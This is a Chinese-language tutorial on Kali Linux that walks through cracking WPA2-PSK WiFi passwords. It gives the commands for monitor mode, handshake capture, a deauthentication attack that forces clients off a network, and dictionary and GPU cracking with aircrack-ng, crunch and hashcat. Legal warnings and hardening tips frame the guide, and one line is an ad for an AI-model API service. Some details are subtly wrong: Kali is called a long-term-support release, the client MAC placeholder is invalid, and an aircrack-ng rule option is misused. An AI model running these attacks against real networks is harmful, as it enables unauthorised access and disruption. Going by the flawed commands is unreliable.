夏小龙1. Kali Linux入门：从零开始的渗透测试之旅
第一次接触Kali Linux时，我和大多数新手一样既兴奋又忐忑。这个基于Debian的Linux发行版专为网络安全测试而生，集成了600多款渗透测试工具，是安全从业者的瑞士军刀。但别被它的专业定位吓到——只要掌握正确方法，零基础用户也能快速上手。
我建议新手从Kali 2023.4版本开始，这是目前最稳定的长期支持版。安装方式推荐以下三种：虚拟机（VirtualBox/VMware）、物理机双系统或Live USB启动。对于只想体验的用户，Live USB是最佳选择——只需用Rufus工具将ISO写入U盘，无需安装就能直接运行。但要注意，Live模式下的配置和文件在重启后会丢失。
重要提示：Kali Linux仅限合法安全测试使用。未经授权扫描或攻击他人网络可能涉及法律风险，请务必在自家网络或获得书面授权的测试环境中操作。
安装完成后第一件事是换源。默认国外源速度慢，替换为国内镜像能大幅提升更新效率。我常用阿里云源，执行以下命令即可：
bash复制echo "deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib" > /etc/apt/sources.list
apt update && apt upgrade -y
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. WiFi渗透测试基础：原理与工具解析
2.1 无线网络安全机制演进
现代WiFi网络主要采用WPA/WPA2-PSK加密，少数老旧设备仍使用已被彻底破解的WEP。WPA3虽已推出但尚未普及。理解这些协议的区别至关重要：
| 加密类型 | 安全性 | 破解难度 | 适用场景 |
|---|---|---|---|
| WEP | 极低 | 几分钟 | 已淘汰 |
| WPA-PSK | 低 | 数小时 | 旧设备 |
| WPA2-PSK | 中 | 依赖字典 | 主流配置 |
| WPA3 | 高 | 目前安全 | 新设备 |
2.2 Kali中的无线工具三剑客
- Aircrack-ng套件：包含airodump-ng（抓包）、aireplay-ng（注入）、aircrack-ng（破解）等工具，是无线测试的基石。
- Reaver：专门针对WPS漏洞，但现代路由器大多已修复。
- Fern Wifi Cracker：图形化工具适合新手，但灵活性不如命令行。
我强烈建议从命令行工具学起，虽然初期有学习曲线，但能真正理解底层原理。图形工具往往隐藏了关键细节，不利于排查问题。
3. 实战演练：分步破解WPA2-PSK密码
3.1 环境准备与设备检测
首先确认无线网卡支持监听模式。内置网卡多数不支持，需要外接适配器。我用的是性价比极高的TP-Link TL-WN722N（芯片组Atheros AR9271），价格约100元且兼容性良好。检查网卡是否被识别：
bash复制iwconfig
如果看到wlan0接口表示识别成功。启用监听模式：
bash复制airmon-ng start wlan0
此时接口名变为wlan0mon。常见错误是驱动问题，如果报错可以尝试：
bash复制apt install realtek-rtl88xxau-dkms
modprobe 88XXau
3.2 抓取握手包四步法
- 扫描周边网络：
bash复制airodump-ng wlan0mon
记下目标BSSID（如AA:BB:CC:DD:EE:FF）和信道（如6）。
- 定向抓包：
bash复制airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
-c指定信道，--bssid锁定目标，-w保存抓包文件。
- 强制重连：
新开终端发送解除认证攻击，迫使设备重新连接：
bash复制aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c ST:AT:IO:NM wlan0mon
-0表示解除认证攻击，10为攻击次数，-c指定客户端MAC（可选）。
- 捕获握手包：
当右上角出现"WPA handshake"时表示成功。按Ctrl+C停止。
3.3 字典破解实战技巧
获得握手包后，使用aircrack-ng进行字典破解：
bash复制aircrack-ng -w rockyou.txt capture-01.cap
rockyou.txt是Kali自带的经典密码字典，位于/usr/share/wordlists/。但实际成功率取决于字典质量。我有三个提升成功率的心得：
- 定制化字典：使用crunch生成针对性组合：
bash复制crunch 8 10 0123456789 -o num.dict
这条命令生成8-10位纯数字字典，适合国内常见"手机号式"密码。
- 规则变形：使用Hashcat规则对基础字典进行变形：
bash复制git clone https://github.com/NotSoSecure/password_cracking_rules
aircrack-ng -w rockyou.txt -r password_cracking_rules/rule1 capture-01.cap
- GPU加速：如果有NVIDIA显卡，改用hashcat能提升百倍速度：
bash复制hashcat -m 2500 capture.hccapx rockyou.txt -w 3 -O
4. 进阶技巧与防御措施
4.1 企业级防护手段分析
现代安全网络已采用以下防护措施：
- 802.1X认证（EAP-TLS/PEAP）
- MAC地址过滤
- 隐藏SSID
- 入侵检测系统（如WIDS）
针对这些防护，常规字典攻击无效。需要更高级的技术如：
- Evil Twin攻击：伪造同名热点
- Karma攻击：自动响应探测请求
- EAP中间人攻击：伪造证书服务器
4.2 加固自家WiFi的七个建议
作为安全测试者，更应该知道如何防护：
- 使用WPA2/WPA3+强密码（16位以上混合字符）
- 关闭WPS/QSS功能
- 定期更换密码（建议每3个月）
- 启用MAC地址过滤（虽可绕过但增加难度）
- 设置2.4GHz/5GHz不同SSID
- 固件保持最新
- 企业环境应使用RADIUS认证
5. 常见问题排错指南
5.1 抓不到握手包怎么办？
- 确认目标设备在线（ping测试）
- 增加解除认证攻击次数（-0 30）
- 尝试不同时间（用户活跃时段更易成功）
- 检查网卡与目标的距离（5米内最佳）
5.2 aircrack-ng报"Invalid packet"错误
- 确认cap文件完整（建议重抓）
- 尝试转换为hccapx格式：
bash复制cap2hccapx capture-01.cap output.hccapx
- 检查字典文件编码（应为UTF-8无BOM）
5.3 破解速度太慢的优化方案
- 使用更小的精准字典而非大而全的字典
- 在高端GPU上运行hashcat
- 购买云破解服务（如AWS p3.2xlarge实例）
- 使用分布式破解（多个设备协同工作）
6. 法律边界与道德规范
必须强调：未经授权的网络渗透可能违反《计算机信息系统安全保护条例》。合法测试需满足：
- 获得网络所有者书面授权
- 限定测试时间范围
- 不进行拒绝服务攻击
- 测试后提供完整报告并协助修复
建议初学者在以下环境练习：
- 自家网络
- 虚拟机搭建的测试环境（如Metasploitable）
- 正规CTF比赛网络
- 授权渗透测试项目
我个人的工作准则是：发现的漏洞必须报告给相关方，绝不利用漏洞谋取私利。技术是把双刃剑，从业者的道德底线比技术能力更重要。